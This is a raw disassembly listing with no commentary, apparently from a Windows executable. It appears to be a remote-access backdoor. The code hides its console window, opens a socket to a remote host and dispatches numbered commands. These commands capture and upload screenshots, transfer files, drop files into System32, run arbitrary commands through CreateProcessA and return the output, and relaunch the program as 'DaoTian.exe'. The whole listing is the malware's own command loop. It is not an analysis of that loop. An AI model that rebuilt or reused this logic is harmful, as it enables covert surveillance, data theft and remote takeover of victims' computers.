mov rcx, rax
call fcn.14000dff0
lea rcx, [rbp + 0x550]
call fcn.14000b8c0
test rax, rax
jne 0x14000875b
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x540]
add rcx, rax
mov edx, r12d
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001ce0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
nop dword [rax]
mov ecx, 0x202
lea rdx, [rbp + 0x7a0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r8d, r12d
mov edx, r13d
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x140048240], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x770], xmm0
movups xmmword [rbp + 0x780], xmm0
movups xmmword [rbp + 0x790], xmm0
mov dword [rbp + 0x774], r15d
mov dword [rbp + 0x778], r13d
lea rcx, [rbp + 0x730]
cmp qword [rbp + 0x748], 0x10
cmovae rcx, qword [rbp + 0x730]
lea r9, [rbp + 0x6e0]
lea r8, [rbp + 0x770]
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rax, qword [rbp + 0x6e0]
mov rdx, qword [rax + 0x20]
add rdx, 4
mov r9d, socket
lea r8, [rbp + 0x970]
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_inet_ntop]
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov word [rbp + 0x680], r15w
lea rcx, [rbp + 0x970]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x684], eax
call fcn.140018568
mov rsi, rax
lea rdi, [rbp + 0x710]
cmp qword [rbp + 0x728], 0x10
cmovae rdi, qword [rbp + 0x710]
mov dword [rax], ebx
mov r8d, 0xa
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.140018fac
cmp rdi, qword [rsp + 0x50]
je 0x1400099af
cmp dword [rsi], 0x22
je 0x1400099a2
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x682], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x680]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_connect]
mov edi, ebx
xor r9d, r9d
mov r8d, r15d
lea rdx, [rbp + 0x650]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140008b1d
nop
mov ecx, edi
test eax, eax
jg 0x1400088e9
inc edi
cmp eax, 0xffffffff
cmovne edi, ecx
cmp edi, 0x40
jge 0x140008b1d
jmp 0x140008924
movzx eax, word [rbp + 0x650]
cmp al, 0x31
je 0x1400093dc
cmp al, 0x32
je 0x140008fe4
cmp al, 0x33
je 0x140008a2f
cmp al, 0x34
je 0x14000894d
cmp al, 0x35
je 0x140008eec
cmp al, 0x36
je 0x140008d71
cmp al, 0x37
je 0x140008b28
xor r9d, r9d
mov r8d, r15d
lea rdx, [rbp + 0x650]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x1400088d0
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140008770
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x990]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
lea rcx, [rbp + 0x2dd0]
call fcn.1400050c0
mov r8d, 0x20
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x2dd0]
call fcn.140009a40
nop
mov r8d, 0x2000
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0x2dd0]
call fcn.14000a960
mov ecx, dword [rax + 8]
test ecx, ecx
jle 0x1400089ea
xor r9d, r9d
mov r8d, ecx
lea rdx, [rbp + 0xdd0]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_send]
mov r8d, 0x2000
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0x2dd0]
call fcn.14000a960
mov ecx, dword [rax + 8]
test ecx, ecx
jg 0x1400089b0
mov ecx, 3
call fcn.1400106fc
xor r9d, r9d
lea r8d, [r9 + 3]
mov rdx, rax
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
lea rcx, [rbp + 0x2dd0]
call fcn.1400099f0
nop
lea rcx, [rbp + 0x2dd0]
call fcn.140005020
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140008770
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x990]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
lea rcx, [rbp + 0xdd0]
call fcn.140005010
mov r8d, 0x20
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0xdd0]
call fcn.14000a840
nop
mov rax, qword [0x140048240]
mov qword [rbp + 0x2dd8], rax
mov dword [rbp + 0x2dd0], r13d
mov qword [rbp + 0x6b0], 8
lea ecx, [rax + 1]
lea rax, [rbp + 0x6b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2dd0]
call qword [sym.imp.WS2_32.dll_select]
xor r9d, r9d
mov rcx, qword [0x140048240]
test eax, eax
jle 0x140008af1
mov r8d, 0x2000
lea rdx, [rbp + 0x4dd0]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140008a72
movsxd r8, eax
lea rdx, [rbp + 0x4dd0]
lea rcx, [rbp + 0xdd0]
call fcn.14000ad40
jmp 0x140008a72
mov r8d, 3
lea rdx, [0x14003e420]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rbp + 0xdd0]
call fcn.14000a7f0
nop
lea rcx, [rbp + 0xdd0]
call fcn.140004f70
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140008770
mov r8d, 0x104
lea rdx, [rbp + 0xcc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0xcc0]
lea rcx, [rbp + 0x750]
call fcn.14000b0d0
nop
lea rcx, [rbp + 0x750]
call fcn.14000aef0
lea rdx, [rax + 1]
xor r8d, r8d
lea rcx, [rbp + 0x750]
call fcn.14000afb0
lea rdx, str.DaoTian.exe_1_2
lea rcx, [rbp + 0x750]
call fcn.14000b050
lea rcx, [rbp + 0x750]
call fcn.14000b040
mov rcx, rax
call fcn.140002fa0
lea rdx, [0x140007140]
lea rcx, [rbp + 0x6b0]
call fcn.14000d0d0
nop
mov rcx, rax
call fcn.140001e40
nop
cmp dword [rbp + 0x6b8], 0
jne 0x14000998a
cmp byte [0x140045c80], 0
je 0x140008d60
nop
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov r15, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r12, rax
mov edx, 0x76
mov rcx, r15
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov esi, eax
mov edx, 0x75
mov rcx, r15
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
mov r8d, eax
mov edx, esi
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r14, rax
mov rdx, rax
mov rcx, r12
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], edi
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.GDI32.dll_BitBlt]
lea rcx, [rsp + 0x60]
call fcn.1400099d0
lea rcx, [rsp + 0x60]
call fcn.140002390
mov rdx, r14
lea rcx, [rsp + 0x60]
call fcn.140002600
lea rcx, [rsp + 0x60]
call fcn.140002a90
lea rdx, [0x14003e454]
lea rcx, str.Screen.jpg
call fcn.140017068
mov rdi, rax
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call fcn.140017bcc
mov rcx, rdi
call fcn.140016df4
mov dword [rbp + 0x6d8], eax
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x6d8]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_send]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.140017bcc
mov r9, rdi
mov r8d, 0x1000
mov rdx, r13
lea rcx, [rbp + 0x2dd0]
call fcn.140019828
test eax, eax
jle 0x140008d36
nop word [rax + rax]
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x2dd0]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_send]
mov r9, rdi
mov r8d, 0x1000
mov rdx, r13
lea rcx, [rbp + 0x2dd0]
call fcn.140019828
test eax, eax
jg 0x140008d00
mov rcx, rdi
call fcn.14001774c
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x60]
call fcn.1400024d0
cmp byte [0x140045c80], 0
jne 0x140008bd0
lea rcx, [rbp + 0x750]
call fcn.14000b070
jmp 0x140009839
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x990]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
xor r9d, r9d
mov r8d, r15d
lea rdx, [rbp + 0x650]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
movzx eax, byte [rbp + 0x650]
sub al, 0x30
cmp al, 1
ja 0x140009839
lea rdx, str.C:WindowsSystem32SaveExe
lea rcx, [rbp + 0x658]
call fcn.14000b0d0
nop
cmp byte [rbp + 0x650], 0x30
jne 0x140008de9
lea rdx, str._noWin
lea rcx, [rbp + 0x658]
call fcn.14000b050
lea rdx, str..txt
lea rcx, [rbp + 0x658]
call fcn.14000b050
lea rcx, [rbp + 0x2dd0]
call fcn.140005010
lea rcx, [rbp + 0x658]
call fcn.14000b040
mov rdx, rax
mov r8d, 8
lea rcx, [rbp + 0x2dd0]
call fcn.14000a840
nop
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x2dd0]
call fcn.14000cdd0
mov rcx, rax
call fcn.14000d040
lea rcx, [rbp + 0x2dd0]
call fcn.14000a7f0
mov r8d, 0x104
lea rdx, [rbp + 0xdd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0x6f0]
call fcn.14000b0d0
nop
lea rcx, [rbp + 0x6f0]
call fcn.14000aef0
lea rdx, [rax + 1]
xor r8d, r8d
lea rcx, [rbp + 0x6f0]
call fcn.14000afb0
lea rdx, str.DaoTian.exe_1_2
lea rcx, [rbp + 0x6f0]
call fcn.14000b050
lea rcx, [rbp + 0x6f0]
call fcn.14000b040
mov rcx, rax
call fcn.140002fa0
nop
lea rcx, [rbp + 0x6f0]
call fcn.14000b070
nop
lea rcx, [rbp + 0x2dd0]
call fcn.140004f70
nop
lea rcx, [rbp + 0x658]
call fcn.14000b070
jmp 0x140009839
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0xdd0]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
lea rcx, [rbp + 0x2dd0]
call fcn.140005010
mov r8d, 8
lea rdx, str.C:WindowsSystem32SaveFile.txt
lea rcx, [rbp + 0x2dd0]
call fcn.14000a840
nop
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0x2dd0]
call fcn.14000cdd0
mov rcx, rax
call fcn.14000d040
lea rcx, [rbp + 0x2dd0]
call fcn.14000a7f0
mov r8d, 0x104
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x6f0]
call fcn.14000b0d0
nop
lea rcx, [rbp + 0x6f0]
call fcn.14000aef0
lea rdx, [rax + 1]
xor r8d, r8d
lea rcx, [rbp + 0x6f0]
call fcn.14000afb0
lea rdx, str.DaoTian.exe_1_2
lea rcx, [rbp + 0x6f0]
call fcn.14000b050
lea rcx, [rbp + 0x6f0]
call fcn.14000b040
mov rcx, rax
call fcn.140002fa0
nop
lea rcx, [rbp + 0x6f0]
call fcn.14000b070
nop
lea rcx, [rbp + 0x2dd0]
call fcn.140004f70
jmp 0x140009839
xor edx, edx
mov r8d, 0x2000
lea rcx, [rbp + 0x2dd0]
call fcn.140012d20
xor r9d, r9d
mov r8d, 0x2000
lea rdx, [rbp + 0x2dd0]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
xor r9d, r9d
mov r8d, r15d
lea rdx, [rbp + 0x650]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
movzx eax, byte [rbp + 0x650]
sub al, 0x30
cmp al, 1
ja 0x140009839
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x668], rbx
mov qword [rbp + 0x670], send
mov byte [rbp + 0x658], 0
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.C:WindowsSystem32cmd
lea rcx, [rbp + 0x658]
call fcn.14000c0c0
nop
cmp byte [rbp + 0x650], 0x30
jne 0x140009099
mov r8, r12
lea rdx, str._noWin
lea rcx, [rbp + 0x658]
call fcn.14000c220
mov r8d, 4
lea rdx, str..txt
lea rcx, [rbp + 0x658]
call fcn.14000c220
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xdd0]
call fcn.140012d20
lea rdx, [rbp + 0x658]
cmp qword [rbp + 0x670], 0x10
cmovae rdx, qword [rbp + 0x658]
mov r8d, 8
lea rcx, [rbp + 0xdd0]
call fcn.14000a840
nop
lea rdx, [rbp + 0x2dd0]
lea rcx, [rbp + 0xdd0]
call fcn.14000cdd0
mov rcx, rax
call fcn.14000d040
lea rcx, [rbp + 0xdd8]
call fcn.14000b8c0
test rax, rax
jne 0x140009149
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xdd0]
add rcx, rax
cmp qword [rcx + 0x48], 0
cmovne r12d, r15d
or r12d, dword [rcx + 0x10]
xor r8d, r8d
mov edx, r12d
call fcn.140001ce0
mov r8d, 0x104
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp + 0x690], rbx
mov qword [rbp + 0x6a0], rbx
mov qword [rbp + 0x6a8], send
mov byte [rbp + 0x690], 0
lea rax, [rbp + 0x990]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140009190
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x690]
call fcn.14000c0c0
nop
lea rdx, [rbp + 0x690]
mov r9, qword [rbp + 0x6a8]
cmp r9, 0x10
setae r11b
mov r10, qword [rbp + 0x690]
cmovae rdx, r10
mov r8, qword [rbp + 0x6a0]
cmp r8, 1
jb 0x14000920a
lea rax, [r8 - 1]
mov rcx, rsi
cmp rax, rsi
cmovb rcx, rax
add rcx, rdx
nop dword [rax]
cmp byte [rcx], 0x5c
jne 0x1400091fb
mov eax, ebx
test ebx, ebx
je 0x140009205
cmp rcx, rdx
je 0x14000920a
dec rcx
jmp 0x1400091f0
sub rcx, rdx
jmp 0x14000920d
mov rcx, rsi
lea rsi, [rcx + 1]
cmp rsi, r8
ja 0x140009231
mov qword [rbp + 0x6a0], rsi
lea rax, [rbp + 0x690]
test r11b, r11b
cmovne rax, r10
mov byte [rax + rsi], 0
jmp 0x140009282
sub rsi, r8
sub r9, r8
cmp rsi, r9
ja 0x14000926b
lea rax, [r8 + rsi]
mov qword [rbp + 0x6a0], rax
lea rdi, [rbp + 0x690]
test r11b, r11b
cmovne rdi, r10
add rdi, r8
mov r8, rsi
xor edx, edx
mov rcx, rdi
call fcn.140012d20
mov byte [rsi + rdi], 0
jmp 0x140009282
mov byte [rsp + 0x20], 0
mov r9, rsi
mov rdx, rsi
lea rcx, [rbp + 0x690]
call fcn.14000d6b0
mov r8d, send
lea rdx, str.DaoTian.exe_1_2
lea rcx, [rbp + 0x690]
call fcn.14000c220
lea rcx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
cmovae rcx, qword [rbp + 0x690]
call fcn.140002fa0
nop
mov rdx, qword [rbp + 0x6a8]
cmp rdx, 0x10
jb 0x1400092f9
inc rdx
mov rcx, qword [rbp + 0x690]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009990
call fcn.140010130
mov qword [rbp + 0x6a0], rbx
mov qword [rbp + 0x6a8], send
mov byte [rbp + 0x690], 0
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xdd0], rax
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xdcc], edx
lea rcx, [rbp + 0xdd8]
call fcn.14000a740
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xdd0], rax
mov rax, qword [rbp + 0xdd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xdcc], edx
mov qword [rbp + 0xe78], r14
lea rcx, [rbp + 0xe78]
call fcn.14000f1fc
nop
mov rdx, qword [rbp + 0x670]
cmp rdx, 0x10
jb 0x140009839
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009833
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400098dd
jmp 0x140009833
mov r8d, 0x104
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x668], rbx
mov qword [rbp + 0x670], send
mov byte [rbp + 0x658], 0
lea rax, [rbp + 0x990]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140009422
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x658]
call fcn.14000c0c0
nop
lea rdx, [rbp + 0x658]
mov r9, qword [rbp + 0x670]
cmp r9, 0x10
setae r11b
mov r10, qword [rbp + 0x658]
cmovae rdx, r10
mov r8, qword [rbp + 0x668]
cmp r8, 1
jb 0x14000949a
lea rax, [r8 - 1]
mov rcx, rsi
cmp rax, rsi
cmovb rcx, rax
add rcx, rdx
nop
cmp byte [rcx], 0x5c
jne 0x14000948b
mov eax, ebx
test ebx, ebx
je 0x140009495
cmp rcx, rdx
je 0x14000949a
dec rcx
jmp 0x140009480
sub rcx, rdx
jmp 0x14000949d
mov rcx, rsi
lea r14, [rcx + 1]
cmp r14, r8
ja 0x1400094c2
mov qword [rbp + 0x668], r14
lea rax, [rbp + 0x658]
test r11b, r11b
cmovne rax, r10
mov byte [rax + r14], 0
jmp 0x140009514
sub r14, r8
sub r9, r8
cmp r14, r9
ja 0x1400094fd
lea rax, [r14 + r8]
mov qword [rbp + 0x668], rax
lea rdi, [rbp + 0x658]
test r11b, r11b
cmovne rdi, r10
add rdi, r8
mov r8, r14
xor edx, edx
mov rcx, rdi
call fcn.140012d20
mov byte [rdi + r14], 0
jmp 0x140009514
mov byte [rsp + 0x20], 0
mov r9, r14
mov rdx, r14
lea rcx, [rbp + 0x658]
call fcn.14000d6b0
mov r8d, send
lea rdx, str.DaoTian.exe_1_2
lea rcx, [rbp + 0x658]
call fcn.14000c220
lea rcx, [rbp + 0x658]
cmp qword [rbp + 0x670], 0x10
cmovae rcx, qword [rbp + 0x658]
call fcn.140002fa0
xor edx, edx
mov r8d, 0x2000
lea rcx, [rbp + 0xdd0]
call fcn.140012d20
xor edx, edx
mov r8d, 0x2000
lea rcx, [rbp + 0x2dd0]
call fcn.140012d20
xor r9d, r9d
mov r8d, 0x2000
lea rdx, [rbp + 0xdd0]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
xor r9d, r9d
mov r8d, r15d
lea rdx, [rbp + 0x650]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_recv]
movzx eax, byte [rbp + 0x650]
sub al, 0x30
cmp al, 1
ja 0x1400097f7
mov qword [rbp + 0x6b0], rbx
mov qword [rsp + 0x50], rbx
mov qword [rbp + 0x690], 0x18
mov qword [rbp + 0x6a0], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
mov qword [rbp + 0x698], rbx
xor r9d, r9d
lea r8, [rbp + 0x690]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x6b0]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [rsp + 0x60], 0x68
mov dword [rbp - 0x64], 0x101
mov eax, ebx
cmp byte [rbp + 0x650], 0x30
setne al
mov word [rbp - 0x60], ax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xdd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8d, 0x2000
lea rdx, [rbp + 0x2dd0]
mov rcx, qword [rbp + 0x6b0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x6b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x700], rbx
mov qword [rbp + 0x708], send
lea rax, [rbp + 0x2dd0]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140009720
mov r8, rsi
lea rdx, [rbp + 0x2dd0]
lea rcx, [rbp + 0x6f0]
call fcn.14000c0c0
mov r13, qword [rbp + 0x708]
mov rsi, qword [rbp + 0x6f0]
mov r14, qword [rbp + 0x700]
test r14, r14
je 0x1400097bf
mov rdi, rbx
cmp r13, 0x10
setae r15b
mov r13d, 2
nop word [rax + rax]
lea rax, [rbp + 0x6f0]
test r15b, r15b
cmovne rax, rsi
movzx eax, byte [rdi + rax]
mov byte [rbp + 0x6d8], al
xor eax, eax
mov byte [rbp + 0x6d9], al
xor r9d, r9d
mov r8d, r13d
lea rdx, [rbp + 0x6d8]
mov rcx, qword [0x140048240]
call qword [sym.imp.WS2_32.dll_send]
inc ebx
lea rdi, [rdi + 1]
movsxd rax, ebx
cmp rax, r14
jb 0x140009770
mov r13, qword [rbp + 0x708]
cmp r13, 0x10
jb 0x1400097f7
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400097ee
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009996
mov rcx, rsi
call fcn.140010130
nop
mov rdx, qword [rbp + 0x670]
cmp rdx, 0x10
jb 0x140009839
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009833
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000999c
call fcn.140010130
nop
lea rcx, [rbp + 0x540]
call fcn.140005020
nop
lea rcx, [rbp + 0x710]
call fcn.14000b070
nop
lea rcx, [rbp + 0x730]
call fcn.14000b070
nop
lea rcx, [rbp - 0x10]
call fcn.140005020
nop
lea rcx, [rbp + 0x100]
call fcn.140005020
nop
lea rcx, [rbp + 0x210]
call fcn.140005020
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000aad0
nop
lea rcx, [rbp + 0x320]
call fcn.140005020
nop
lea rcx, [rbp + 0x430]
call fcn.140005020
nop
lea r9, [0x140001e20]
mov edx, reloc.WS2_32.dll_recv
lea r8d, [rdx - 0xd]
lea rcx, [rbp + 0x940]
call fcn.1400103dc
jmp 0x140007423
mov dword [rbp + 0x688], ebx
mov ecx, 6
call fcn.14000e954
nop
call fcn.140017f54
nop
mov dword [rbp + 0x688], ebx
mov ecx, 6
call fcn.14000e954
nop
call fcn.140017f54
nop
call fcn.140017fcc
int3
call fcn.140017fcc
nop
call fcn.140017f54
nop
call fcn.140017f54
nop
call fcn.140017f54
nop
call fcn.140017f54
nop
mov ecx, eax
call fcn.14000e918
int3
mov ecx, r13d
call fcn.14000e954
nop
mov dword [rbp + 0x6b8], ebx
mov ecx, r12d
call fcn.14000e954
nop
call fcn.140017f54
nop
mov ecx, eax
call fcn.14000e918
int3
mov ecx, r13d
call fcn.14000e954
nop
mov dword [rbp + 0x6b8], ebx
mov ecx, r12d
call fcn.14000e954
nop
call fcn.140017f54
nop
mov ecx, eax
call fcn.14000e918
int3
mov ecx, r13d
call fcn.14000e954
nop
mov dword [rbp + 0x6b8], ebx
mov ecx, r12d
call fcn.14000e954
nop
call fcn.140017fcc
nop
call fcn.140017f54
nop
call fcn.140017f54
nop
call fcn.140017f54
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.14000ec5c
int3
lea rcx, str.invalid_stoi_argument
call fcn.14000ec14
nop
mov ecx, eax
call fcn.14000e918
int3
mov ecx, r13d
call fcn.14000e954
int3